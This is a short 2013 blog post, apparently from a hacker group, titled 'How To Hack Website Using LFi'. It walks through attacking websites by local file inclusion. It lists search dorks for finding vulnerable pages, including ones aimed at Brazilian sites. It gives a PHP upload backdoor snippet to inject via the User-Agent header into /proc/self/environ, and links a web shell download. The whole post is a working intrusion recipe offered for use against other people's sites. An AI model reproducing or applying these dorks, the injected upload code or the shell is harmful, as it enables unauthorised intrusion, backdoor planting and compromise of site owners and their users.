Saturday, August 31, 2013

How To Hack Website Using LFi

Asalamu Alikum 
After a short break m back wd an interesting Video on Web-Hacking 
So today m gonna Show you How To Hack website Using Local File Inclusion



Local File Inclusion Vulnerability
What You Need
Mozila Firfox 
User Agent Switcher For Firefox

Dorks: (If y0u wAnt mOre dork's use y0ur bRain And Make y0ur 0wn Dork's Tongue )
allinurl:pgg=contact.php
allinurl:page=contact.php
allinurl:home=contact.php
allinurl:?index.php?pagina=contato.php site:br
allinurl:?index.php?pagina=clientes.php site:br
allinurl:?index.php?pagina=produtos.php site:br
allinurl:?index.php?pagina=contato.php
LFi Code
 <?php @copy($_FILES['file']['tmp_name'],$_FILES['file']['name']); ?><p>Madleets</p><br> <form action="" method="post" enctype="multipart/form-data">Filename: <input type="file" name="file" /><input type="submit" value="Submit" />
Site To Find Website:
Google.com
bing.com
Execute LFI Code
 %2Fproc%2Fself%2Fenviron
Madspot security Shell 
 http://www.mediafire.com/?hw8193t9v2s3w04

 Video is Here

0 comments:

Post a Comment